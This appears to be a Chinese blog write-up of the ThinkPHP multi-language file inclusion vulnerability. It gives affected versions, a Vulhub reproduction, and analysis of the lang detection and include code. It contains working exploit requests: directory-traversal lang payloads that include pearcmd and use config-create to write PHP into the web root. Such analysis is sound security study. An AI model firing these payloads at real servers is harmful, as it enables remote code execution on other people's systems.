漏洞原理
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。
关于pearcmd
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
影响版本
6.0.1 < ThinkPHP ≤ 6.0.13
5.0.0 < ThinkPHP ≤ 5.0.12
5.1.0 < ThinkPHP ≤ 5.1.8
漏洞指纹
header=“think_lang”
环境搭建
https://github.com/vulhub/vulhub/commit/34fca0ce1bd144d67b01540594f9764f65497e94#diff-a467569d1059d94152dc2adfef31fe2a8272b9b0982a61624da79f3f6e331e95
漏洞复现
docker -compose up -d dockers ps 查看进程docker exec -it ID bash 查看进程路径
/index?lang=…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php
经过…/的尝试发现当…/个数超过7个时,响应界面发生变化,即利用成功。
当前…/个数为6个,查看是否写入
当…/个数为8个时
查看是否利用成功
cookie处的构造
经过逐个添加发现也是在第8个发生变化,通过不通的环境得出…/的个数与目录层数相关。
进行包含利用
漏洞分析
config-create
require_once 'PEAR.php';require_once 'PEAR/Frontend.php';require_once 'PEAR/Config.php';require_once 'PEAR/Command.php';require_once 'Console/Getopt.php';
这里所需要用到的config-create处于–>config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用–>create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/=phpinfo()?>+xxx.php HTTP/1.1
config-create的作用–>create a default configuration file
开启多语言
由于这个的攻击条件是要开启多语言功能,于是,去搜索了下这个多语言功能是如何开启的,大概就是,会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。
多语言功能包–>langpack
public function handle($request, Closure $next) { // 自动侦测当前语言 $langset = $this->detect($request); if ($this->lang->defaultLangSet() != $langset) { $this->lang->switchLangSet($langset); } $this->saveToCookie($this->app->cookie, $langset); return $next($request); }
因为在之前已经得知是通过探测的方法,直接定位detect,detect–>可以看到依次排查了 GET[“lang”] 、HEADER[“think-lang”] 、COOKIE[“think_lang”] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset 这个值便是可控的了
protected function detect(Request $request): string { // 自动侦测设置获取语言选择 $langSet = ''; if ($request->get($this->config['detect_var'])) { // url中设置了语言变量 $langSet = strtolower($request->get($this->config['detect_var'])); } elseif ($request->header($this->config['header_var'])) { // Header中设置了语言变量 $langSet = strtolower($request->header($this->config['header_var'])); } elseif ($request->cookie($this->config['cookie_var'])) { // Cookie中设置了语言变量 $langSet = strtolower($request->cookie($this->config['cookie_var'])); } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { // 自动侦测浏览器语言 $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches); if ($match) { $langSet = strtolower($matches[1]); if (isset($this->config['accept_language'][$langSet])) { $langSet = $this->config['accept_language'][$langSet]; } } }if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) { // 合法的语言 $this->range = $langSet; } return $this->range;
默认情况下,allow_lang_list 这个配置为空,$langSet 被赋值给 range,将range,将range 返回。
在loadlangpack里发现:
public function handle($request, Closure $next) { // 自动侦测当前语言 $langset = $this->detect($request); if ($this->lang->defaultLangSet() != $langset) { $this->lang->switchLangSet($langset); } $this->saveToCookie($this->app->cookie, $langset); return $next($request); }
this->load
public function switchLangSet(string $langset) { if (empty($langset)) { return; } // 加载系统语言包 $this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php', ]); // 加载系统语言包 $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*'); $this->load($files); // 加载扩展(自定义)语言包 $list = $this->app->config->get('lang.extend_list', []); if (isset($list[$langset])) { $this->load($list[$langset]); }
include file
protected function parse(string $file): array { $type = pathinfo($file, PATHINFO_EXTENSION); switch ($type) { case 'php': $result = include $file; break; case 'yml': case 'yaml': if (function_exists('yaml_parse_file')) { $result = yaml_parse_file($file); } break; case 'json': $data = file_get_contents($file); if (false !== $data) { $data = json_decode($data, true); if (json_last_error() === JSON_ERROR_NONE) { $result = $data; } } break; } return isset($result) && is_array($result) ? $result : []; }
其他方法
download -->pear download [option] [package]
漏洞修复
https://www.thinkphp.cn/
来源地址:https://blog.csdn.net/qq_60614981/article/details/128724640